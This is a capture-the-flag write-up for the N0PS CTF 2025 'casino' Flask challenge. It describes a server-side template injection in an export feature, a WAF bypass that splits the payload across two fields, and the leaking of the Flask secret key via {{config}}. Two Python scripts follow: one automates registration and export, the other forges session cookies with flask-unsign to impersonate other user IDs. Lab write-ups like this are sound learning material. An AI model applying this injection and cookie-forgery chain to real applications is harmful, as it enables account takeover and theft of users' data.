N0PS CTF 2025 writeup web casino

Description

Welcome, everyone !

Welcome to WebTopia’s Casino !

Witness the wonders of this marvelous place, take your time, enjoy it…

and please don’t look too much for vulnerabilities

Authors : algorab & Sto

Summary of Exploitation

This challenge was medium difficulty and built with Python (Flask). It features a tricky SSTI that leads to RCE through the /export endpoint. At first, the app looks like a simple casino game with account creation and gameplay, but digging deeper reveals an "Export Account Data" feature that's vulnerable. With the right payload, it's possible to achieve remote code execution by exploiting server-side template injection (SSTI) in this export functionality.

First thing we see the login and register

If we sign in we will see the dashboard and has a spin , reset , export data

If we export the data, there's a user-controlled input reflected in the page

We observe that the response includes our email and username—both user-controlled values. Since the web server is running Python (Flask), injecting an SSTI payload reflects the result in the response.

We notice that the /export endpoint is protected by a WAF that blocks our input.

Since I was lazy 😅, I wrote a Python script to automate sign-up, login, and trigger the /export endpoint.

import requests
import sys
import random
Session = requests.Session()
URL = "http://127.0.0.1:5000" # change this!!!!

if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <username> <email>")
    sys.exit(1)

username = sys.argv[1]
email = sys.argv[2]

def register(username, email):
    data = {
        "username": username,
        "email": email,
        "password": "xxxx"
    }
    response = Session.post(f"{URL}/register", data=data)
    return response

def login(username):
    data = {
        "username": username,
        "password": "xxxx"
    }
    response = Session.post(f"{URL}/login", data=data)
    return response

def export():
    response = Session.get(f"{URL}/export")
    print(response.text)
    return response
def random_bytes():
    return random.randbytes(6).hex()
if __name__ == "__main__":
    print("Generating random bytes for registration...")
    random_hex = random_bytes()
    username = f"{random_hex}_{username}"
    print(f"Registering user: {username}")
    register(username, email)
    print(f"Logging in user: {username}")
    login(username)

    print("Exporting data...")
    export()

Let’s return to the SSTI and attempt to bypass the mitigation in place.

The first bypass didn’t work. After thinking for a bit, I tried putting part of the payload in the username and the other part in the email. That way, I was able to bypass the filter.

Lets go The exploit worked. Now the goal is to escalate it to Remote Code Execution (RCE)

After a while, I tried to escalate it to RCE, but it didnt work—turns out I’ve got a bit of a skill issue when it comes to SSTI-to-RCE 😅

Change the Plan!!!

Since I have a skill issue turning SSTI into RCE 😅, I’m switching tactics to stealing Flask’s secret key and spying on other users’ flags instead.

now the goal is getting the secret key, simplly i can make my payload to {{config}}

nice, i made a python code that use flask-unsign and a little bit of magic to do that

import sys
import subprocess
import requests

Session = requests.Session()
URL = "https://127.0.0.1:5000/export"

SECRET = 'PSGc0BTCpVEa6Zzi-GdSdeT2h16nWcqT_5RT52fCMtS0BFnW22L_th-TmaEv85iMN2Lmrdbqv1-6B81v8kALrw'
_ID = 'bee349c6fb5b0717bf710b61108cadf7bd030417a4e4127d3cb0e0197a2ff47671f050d122e1472decacff2cc6d10f80555898854416db06da0e32b88e1f3eeb'

def sign_cookie(user_id: int) -> str:
    cookie_dict = f"{{'_fresh': True, '_id': '{_ID}', '_user_id': '{user_id}'}}"
    cmd = [
        "flask-unsign", "--sign",
        "--cookie", cookie_dict,
        "--secret", SECRET
    ]
    # print(cmd)
    result = subprocess.run(cmd, capture_output=True, text=True)
    if result.returncode != 0:
        print(f"Error signing cookie for user_id {user_id}: {result.stderr.strip()}")
        return None
    return result.stdout.strip()

def visit_with_cookie(signed_cookie: str):
    cookies = {"session": signed_cookie}
    print(signed_cookie)
    response = requests.get(URL, cookies=cookies)
    return response

if __name__ == "__main__":
    for user_id in range(340, 1001):
        print(f"Signing cookie for user_id={user_id}...")
        signed = sign_cookie(user_id)
        if not signed:
            continue
        print(f"Visiting {URL} with signed cookie...")
        resp = visit_with_cookie(signed)
        print(f"response snippet: \n\n{resp.text}\n")

this script forges session cookies for other user IDs to impersonate them. By doing so, it tries to access their data—specifically to retrieve the flag from other users’ sessions. The loop starts from user ID 340 because earlier attempts didn’t reveal the flag.

after a little bit of time i get the flag !!

thanks for id 373 <3

I hope you enjoyed! in my write up

Last updated